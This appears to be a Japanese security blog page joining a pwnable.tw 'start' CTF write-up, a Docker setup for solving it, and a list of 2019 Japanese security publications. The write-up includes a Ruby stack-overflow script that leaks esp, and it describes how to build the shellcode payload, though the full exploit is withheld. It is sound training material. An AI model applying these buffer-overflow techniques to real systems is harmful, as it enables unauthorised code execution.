# encoding: ASCII-8BIT require 'socket' HOSTNAME = "localhost" #HOSTNAME = "chall.pwnable.tw" PORTNUM = 10000 ret_addr_arry = [] addr_for_esp = "\x87\x80\x04\x08" s = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0) sockaddr = Socket.sockaddr_in(PORTNUM, HOSTNAME) s.connect(sockaddr) print(">> ", s.recvfrom(4096)[0], "\n") payload = "a" * 20 payload = payload + addr_for_esp s.write(payload) esp = s.recvfrom(4)[0].unpack("I*")[0] print(">> ", esp.to_s(16), "\n")
これを実行してみると、今回のstart開始時のespは0xffb94ca0であることがわかります。
# ruby get_esp.rb >> Let's start the CTF: >> esp: ffb94ca0
任意のコマンドを実行できるようにする
上記スクリプトの後ろに、[任意の文字列] * 20バイト + シェルコードの先頭アドレス + シェルコードという文字列を作って送信するスクリプトを追加します。
スクリプトはずばり答えになっちゃうので載せませんが(pwnable.twのwrite-upにあります。クリアした人のみ読めるページです)、これで、任意のコマンドが実行できるようになりました。idコマンドとuname -aコマンドを実行した結果を書いておきます。
# ruby 100start_exploit.rb >> Let's start the CTF: >> esp: ffacb510 << Sending shellcode.... >> ???????? << id >> uid=0(root) gid=0(root) groups=0(root) << uname -a >> Linux a3b4df01deae 4.19.76-linuxkit #1 SMP Thu Oct 17 19:31:58 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
(おまけ)プロセスにアタッチしてみる
スクリプトの途中にsleep()を入れ、別のターミナルでgdbでプロセスにアタッチすると、start実行途中のレジスタやスタックの状態がどうなっているか見られます。自分の想定している通りの文字列が送信されているか、シェルコードの先頭アドレスは正しいか、など確認することができます。
# ps -aef UID PID PPID C STIME TTY TIME CMD root 1 0 0 02:12 pts/0 00:00:00 /bin/bash root 166 0 0 02:13 pts/2 00:00:00 bash root 340 0 0 02:16 pts/1 00:00:00 bash root 968 1 0 02:48 pts/0 00:00:00 /bin/sh start.sh root 1217 968 0 02:55 pts/0 00:00:00 start root 1218 340 2 02:56 pts/1 00:00:00 ruby 100start_exploit.rb root 1246 166 0 02:56 pts/2 00:00:00 ps -aef
startのプロセス番号は「1217」ですね。gdbでプロセスにアタッチするには、-p [プロセス番号]をつけます。
# gdb -q -p 1217 Attaching to process 1217 Reading symbols from /root/share/start...(no debugging symbols found)...done. 0x08048099 in _start () (gdb) disas Dump of assembler code for function _start: 0x08048060 <+0>: push %esp 0x08048061 <+1>: push $0x804809d 0x08048066 <+6>: xor %eax,%eax 0x08048068 <+8>: xor %ebx,%ebx 0x0804806a <+10>: xor %ecx,%ecx 0x0804806c <+12>: xor %edx,%edx 0x0804806e <+14>: push $0x3a465443 0x08048073 <+19>: push $0x20656874 0x08048078 <+24>: push $0x20747261 0x0804807d <+29>: push $0x74732073 0x08048082 <+34>: push $0x2774654c 0x08048087 <+39>: mov %esp,%ecx 0x08048089 <+41>: mov $0x14,%dl 0x0804808b <+43>: mov $0x1,%bl 0x0804808d <+45>: mov $0x4,%al 0x0804808f <+47>: int $0x80 0x08048091 <+49>: xor %ebx,%ebx 0x08048093 <+51>: mov $0x3c,%dl 0x08048095 <+53>: mov $0x3,%al 0x08048097 <+55>: int $0x80 => 0x08048099 <+57>: add $0x14,%esp 0x0804809c <+60>: ret End of assembler dump. (gdb) b *0x08048087 Breakpoint 1 at 0x8048087 (gdb) c Continuing. Breakpoint 1, 0x08048087 in _start ()
フラグをゲット
接続先をlocalhostからターゲットホストに変更して実行すれば、ターゲットホスト上で任意のコマンドが実行可能になります。フラグのファイルを探し、catコマンドなり何なりで中を見ればフラグが書いてあります。
感想
「あれ・・ステップ実行って"s"じゃなかったっけ・・あああ"si"いいいいいい」「こういうときってどーすんだっけ・・・はっアタッチ・・sleepしてアタッチや!」「あれっなんか想定とシェルコードが違う・・リトルエンディアンでしたあああああ」とか大変楽しくリハビリできました。私がexploitコードを本気で書いていたのは20年近く前ですが、今回の問題はその頃の知識をそのまま使えた上に、ASLRというちょっとしたエッセンスが追加されていて(当時はなかった)、リハビリにはぴったりなものでした。eipが0x61616161とか0x90909090(パディングによく使われるNOP)とかに書き換わったときにYES!ってなる感じ、久々に味わったなー。当時はgdb+PerlとかVisual Studio+VCで頑張ってたんですよねー。SPARCは固定長命令とビッグエンディアンで分かりやすくて美しかったなぁ・・。
懐古ついでにこちらも紹介。ハッカーの古典、Aleph Oneによる「Smashing The Stack For Fun And Profit」。今回のスタックベースのバッファオーバーフローの仕組みについて丁寧に解説されています。
素晴らしい日本語訳が、「趣味と実益のスタック破壊」として公開されています。(残念ながらもうアーカイブしか残っていないようです)
にしても、当時はリモートでもローカルでも自社内に実機で環境を作ってやっていたので、シェルコードを含むパケットをインターネット越しに投げたのはたぶん生まれて初めてなんじゃないかと・・。いやもちろんそのためのサイトなのでなんの問題もないのですが、ちょっと緊張しました。
今回は心赴くままにガッツリと検証してあれこれ試しましたが、次回以降はpwn用のツールもいろいろと使ってみようと思います。
関連記事
調子に乗って次の問題「orw」のwrite-upも書きました。
security.nekotricolor.com
pwnable.tw攻略のためのDockerイメージ作り
pwnable.twの「start」をやってみたんですよ。
母艦であるMBAが不安定でいつまたmacOSを再インストールすることになるか分からないので、以下のサイトを参考にDockerでイメージを作っておくことにしました。
Dockerfile
gdbやfileコマンド、vimなどの基本的なツールのほか、exploitコードを書くための環境もインストール。セキュリティといえばPythonですが、私はRubyistなのでRuby環境です。こちらを参考にさせていただきました。
Dockerfile.startという名前で以下を作成します。
FROM ubuntu:18.04 RUN apt-get update && apt-get upgrade -y # basic tools RUN apt-get install -y \ git \ gdb \ file \ vim \ netcat # dev tools RUN apt-get install -y \ build-essential \ libssl-dev \ libreadline-dev \ zlib1g-dev \ curl \ wget # Ruby ENV RUBY_VERSION 2.7.0 # Install rbenv RUN git clone https://github.com/rbenv/rbenv.git ~/.rbenv && \ echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc && \ echo 'eval "$(rbenv init -)"' >> ~/.bashrc ENV PATH /root/.rbenv/shims:/root/.rbenv/bin:$PATH # Install ruby-build & ruby RUN git clone https://github.com/rbenv/ruby-build.git ~/.rbenv/plugins/ruby-build && \ ~/.rbenv/bin/rbenv install $RUBY_VERSION && \ ~/.rbenv/bin/rbenv global $RUBY_VERSION # Initiarize ruby encording ENV RUBYOPT -EUTF-8 # Install bundler RUN ~/.rbenv/bin/rbenv exec gem install bundler -v 2.0
イメージを作成する
pwnabletwという名前で、タグを「start」としました。
% docker build -f Dockerfile.start -t pwnabletw:start .
startを実行するシェルスクリプトを作成する
ホストOS上のどこか(ここでは/Users/nekotricolor/share)に、start.shとして以下のシェルスクリプトを作成します。
/root/share/startは問題のバイナリファイルです。
while true; do nc -l -p 10000 -e /root/share/start; done
Dockerコンテナを実行する
プロセスにアタッチできるようにするオプションをつけ、/Users/nekotricolor/shareを/root/shareにマウントしつつ、コンテナを実行します。
% docker run --rm -it --cap-add=SYS_PTRACE --name pwnabletw -v /Users/nekotricolor/share:/root/share --security-opt seccomp=unconfined pwnabletw:start root@d84a9d6a6d47:/#
コンテナ上でstartを実行するシェルスクリプトを実行する
/Users/nekotricolor/shareを/root/shareにマウントしたので、先ほど作ったstart.shはコンテナ上でも使えるようになっています。これを実行すると、10000番ポートがListen状態になり、接続するとstartが実行されます。
root@d84a9d6a6d47:/# /bin/sh /root/share/start.sh
コンテナに入り、10000番ポートに接続してみる
ホストOSの別のターミナルからコンテナ内に入ります。上記のroot@以下がコンテナのIDです。
% docker exec -it d84a9d6a6d47 bash
ncコマンドで10000番ポートに接続してみます。
root@d84a9d6a6d47:/# nc localhost 10000 Let's start the CTF:
これで、問題を解く環境が整いました。
2019年に公開されたセキュリティ関連文書まとめ
リアルタイムには情報を追っておらず、お知らせ一覧等から調べているため抜けがあるかもしれません。
ルールは以下。
- 公共性の高いものを載せています
- WGや研究会の純粋な活動報告書、個別のインシデント・脆弱性は載せていません
情報源はこの辺。
政府機関
総務省
文書タイトル | 公開日 |
---|---|
IoT国際競争力指標(2017年実績) | 2019/02/19 |
不正アクセス行為の発生状況(平成30年1月1日から同年12月31日) | 2019/03/22 |
株式会社日本レジストリサービスに対する「.jp」ドメイン名の管理・運用に係る措置(要請) | 2019/04/26 |
IPネットワーク設備委員会第二次報告 | 2019/04/26 |
電気通信事業法に基づく端末機器の基準認証に関するガイドライン(第1版) | 2019/04/22 |
地域IoT実装のための計画策定のポイント~7地方公共団体の軌跡をヒントに~ | 2019/04/19 |
「ICTグローバル戦略」の公表 | 2019/05/31 |
IoTセキュリティ総合対策 プログレスレポート2019 | 2019/05/31 |
電気通信事業法の消費者保護ルールに関するガイドライン | 2019/05/17 |
脆弱なIoT機器及びマルウェアに感染しているIoT機器の利用者への注意喚起の実施状況 | 2019/06/28 |
サイバーセキュリティ対策情報開示の手引き | 2019/06/28 |
サイバーセキュリティ人材育成分科会 第1次取りまとめ | 2019/06/14 |
令和元年版情報通信白書 | 2019/07/09 |
IoT・5Gセキュリティ総合対策 | 2019/08/30 |
トラストサービス検討ワーキンググループ 中間取りまとめ | 2019/08/09 |
AIネットワーク社会推進会議報告書2019 | 2019/08/09 |
脆弱なIoT機器及びマルウェアに感染しているIoT機器の利用者への注意喚起の実施状況(2019年度第2四半期 | 2019/10/25 |
NISC
文書タイトル | 公開日 |
---|---|
小さな中小企業とNPO向け情報セキュリティハンドブック Ver.1.00 | 2019/04/19 |
インターネットの安全・安心ハンドブックVer.4.03 | 2019/06/18 |
警察庁
文書タイトル | 公開日 |
---|---|
平成30年におけるサイバー空間をめぐる脅威の情勢等について | 2019/03/07 |
令和元年上半期におけるサイバー空間をめぐる脅威の情勢等について | 2019/09/26 |
CRYPTREC
文書タイトル | 公開日 |
---|---|
CRYPTREC Report 2018 暗号技術評価委員会報告 | 2019/07/11 |
CRYPTREC Report 2018 暗号技術活用委員会報告 | 2019/07/11 |
暗号鍵管理システム設計指針 (基本編) ドラフト版 | 2019/07/12 |
セキュリティ関連団体
IPA
文書タイトル | 公開日 |
---|---|
情報セキュリティ10大脅威 2019 | 2019/04/17 |
IT人材白書2019 *1 | 2019/05/10 |
デジタル・トランスフォーメーション推進人材の 機能と役割のあり方に関する調査 | 2019/05/17 |
情報セキュリティ早期警戒パートナーシップガイドライン | 2019/05/30 |
第12回地方自治体における情報システム基盤の現状と方向性の調査 | 2019/05/31 |
「情報処理安全確保支援士(登録セキスペ)の活動に関する実態調査」調査報告書 | 2019/07/31 |
制御システム関連のサイバーインシデント事例「2015年 ウクライナ 大規模停電」 | 2019/07/31 |
制御システム関連のサイバーインシデント事例「2016年 ウクライナ マルウェアによる停電」 | 2019/07/31 |
制御システム関連のサイバーインシデント事例「2017年 安全計装システムを標的とするマルウェア」 | 2019/07/31 |
情報セキュリティ白書2019 | 2019/08/08 |
ユーザのための要件定義ガイド 第2版 *2 | 2019/09/12 |
「多要素認証」設定手順書(Apple ID、Google アカウント、Microsoft アカウント、Yahoo! JAPAN ID) | 2019/09/17 |
情報システムの障害状況 2019年前半データ | 2019/09/20 |
米国発のセキュリティマネジメント成熟度の評価モデル「ES-C2M2」の解説書およびチェックシート | 2019/10/21 |
DX推進指標 自己診断結果入力サイト | 2019/10/25 |
組込みソフトウェア開発データ白書2019 *3 | 2019/11/19 |
インターネット安全教室 教材 *4 | 2019/11/28 |
JPCERT/CC
文書タイトル | 公開日 |
---|---|
IoTセキュリティチェックリスト | 2019/06/27 |
PSIRT Services Framework Version 1.0 日本語版 | 2019/11/07 |
JNSA
文書タイトル | 公開日 |
---|---|
セキュリティ知識分野(SecBoK)人材スキルマップ2019 年版 | 2019/03/08 |
2019 セキュリティ十大ニュース | 2019/12/25 |
JIPDEC
文書タイトル | 公開日 |
---|---|
クラウドサービスに関連する国内外の制度・ガイドラインの紹介 | 2019/05/22 |
IT-Report 2019 Spring | 2019/05/31 |
(2018年度)「個人情報の取扱いにおける事故報告集計結果」 | 2019/09/18 |
フィッシング対策協議会
文書タイトル | 公開日 |
---|---|
常時 SSL に向けてサイト運営者が知っておくべき基礎知識 | 2019/04/17 |
利用者向けフィッシング詐欺対策ガイドライン 2019年度版 | 2019/05/29 |
フィッシング対策ガイドライン 2019年度版 | 2019/05/29 |
フィッシングレポート2019 | 2019/05/29 |
インターネットサービス提供事業者に対する 「認証方法」 に関するアンケート調査結果報告書 | 2019/07/01 |
情報セキュリティ教育事業者連絡会(ISEPA)
セキュリティ業務を担う人材の現状調査報告書(2018年下期調査) | 2019/06/19 |
キャリアパスグランドデザインの考察_ver1.0 | 2019/10/07 |
セキュリティ業務を担う人材のスキル可視化施策の考察~プラス・セキュリティ人材の可視化に向けて~<1.0版> | 2019/10/30 |
日本クラウドセキュリティアライアンス(CSAジャパン)
クラウドにおけるセキュリティサービスの効果的な管理のガイドライン | 2019/09/17 |
クラウドの重大セキュリティ脅威 11の悪質な脅威 | 2019/10/31 |
CSA Internet of Things(IoT)セキュリティコントロールガイド | 2019/11/28 |
CSA IoTセキュリティコントロールフレームワークスプレッドシート | 2019/11/28 |
日本銀行金融研究所
文書タイトル | 公開日 |
---|---|
機械学習システムのセキュリティに関する研究動向と課題 | 2019/01 |
量子コンピュータが共通鍵暗号の安全性に与える影響 | 2019/01 |
OWASP Japan
文書タイトル | 公開日 |
---|---|
Webシステム/Webアプリケーションセキュリティ要件書 Ver. 3.0 | 2019/01/15 |
ペネトレーションテストについて | 2019/12/08 |
その他
文書タイトル | 公開日 | 公開組織 |
---|---|---|
2018年 違法・有害情報対策活動報告 | 2019/07/31 | セーファーインターネット協会 |
サイバーリスクハンドブック/取締役向けハンドブック 日本版 | 2019/11/01 | 経団連 |
証拠保全ガイドライン第8版 | 2019/12/09 | デジタル・フォレンジック研究会 |
「教育の情報化に関する手引」(令和元年12月)について | 2019/12 | 文部科学省 |